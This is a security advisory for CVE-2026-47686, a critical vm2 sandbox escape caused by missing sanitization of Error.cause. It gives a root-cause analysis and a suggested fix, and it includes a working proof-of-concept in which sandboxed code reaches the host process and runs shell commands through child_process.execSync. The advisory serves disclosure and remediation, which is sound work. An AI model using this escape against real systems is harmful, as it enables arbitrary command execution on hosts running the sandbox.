GHSA-m283-3h24-438v CVE-2026-47686
VM2 has Missing Error.cause Sanitization that Enables Sandbox Escape to RCE
- Severity
- 9.9 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.58%
- Chance of exploitation in the next 30 days. Higher than 47.78% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-693 Protection Mechanism Failure
- Fix
3.11.6- Upgrade vm2 to this version or later
Description
Affected: vm2 <= 3.11.3
CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE: CWE-693 (Protection Mechanism Failure)
Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)
Summary
I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.
The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.
Root Cause
The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
// ... cycle detection ...
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited); // sanitized
e.suppressed = handleException(e.suppressed, visited); // sanitized
return e;
}
if (proto === localAggregateErrorProto) {
// sanitizes e.errors[] ...
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e; // .cause is NEVER checked
}
Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.
Affected Code
lib/setup-sandbox.js:869-959, thehandleExceptionfunction (missing.causehandling)lib/setup-sandbox.js:886,ensureThiswraps the error but does not recurse into.causedocs/ATTACKS.md:54, Defense Invariant #3 falsely claims.causeis covered
Reproduction
Embedder code that exposes a function throwing with .cause set to process:
const { VM } = require('vm2');
const vm = new VM({
sandbox: {
hostFn: () => {
throw new Error('fail', { cause: process });
}
}
});
const result = vm.run(`
try {
hostFn();
} catch (e) {
// .cause is not sanitized, so we get a direct reference to host process
const proc = e.cause;
proc.mainModule.require('child_process').execSync('id').toString();
}
`);
console.log(result);
Verified output:
uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...
Full RCE confirmed.
Impact
Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:
- Full host process access (read/write files, spawn processes, network access)
- Sandbox escape with changed scope (CVSS S:C)
- No user interaction required
The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.
Suggested Fix
Add .cause sanitization before the prototype-chain walk, so it applies to all error types:
function handleException(e, visited) {
e = ensureThis(e);
if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e;
if (!visited) visited = new LocalWeakMap();
if (apply(localWeakMapGet, visited, [e])) return e;
apply(localWeakMapSet, visited, [e, true]);
// Sanitize .cause on ALL errors (ES2022)
try {
if ('cause' in e) {
e.cause = handleException(e.cause, visited);
}
} catch (ex) { /* best effort */ }
let proto = localReflectGetPrototypeOf(e);
while (proto !== null) {
if (proto === localSuppressedErrorProto) {
e.error = handleException(e.error, visited);
e.suppressed = handleException(e.suppressed, visited);
return e;
}
if (proto === localAggregateErrorProto) {
if (localArrayIsArray(e.errors)) {
for (let i = 0; i < e.errors.length; i++) {
e.errors[i] = handleException(e.errors[i], visited);
}
}
return e;
}
proto = localReflectGetPrototypeOf(proto);
}
return e;
}
docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.
Artifacts
| File | Role |
|---|---|
poc_error_cause_escape.js |
PoC demonstrating sandbox escape to RCE via unsanitized .cause |
| poc_error_cause_escape.js |
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| vm2 | < 3.11.6 |
3.11.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
vm2 npm → 3.11.6
- npm
npm install vm2@3.11.6- yarn
yarn add vm2@3.11.6- pnpm
pnpm add vm2@3.11.6
Severity breakdown
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-693: Protection Mechanism Failure
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-489w-w794-jq94 vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary | High | Also affects vm2 |
| GHSA-2v2p-6j97-cjg9 vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process | Medium | Also affects vm2 |
| GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries | Critical | Also affects vm2 |
| GHSA-pq68-rvw4-xp4r vm2 contains a sandbox escape vulnerability | Critical | Also affects vm2 |
| GHSA-f8gf-w286-fmq2 vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM | High | Also affects vm2 |
| GHSA-6rh5-qq4q-97xh vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes | High | Also affects vm2 |
| GHSA-8686-vhfx-7r3j vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process | Critical | Also affects vm2 |
| GHSA-wjwh-qqvp-g4p4 vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass | Critical | Also affects vm2 |
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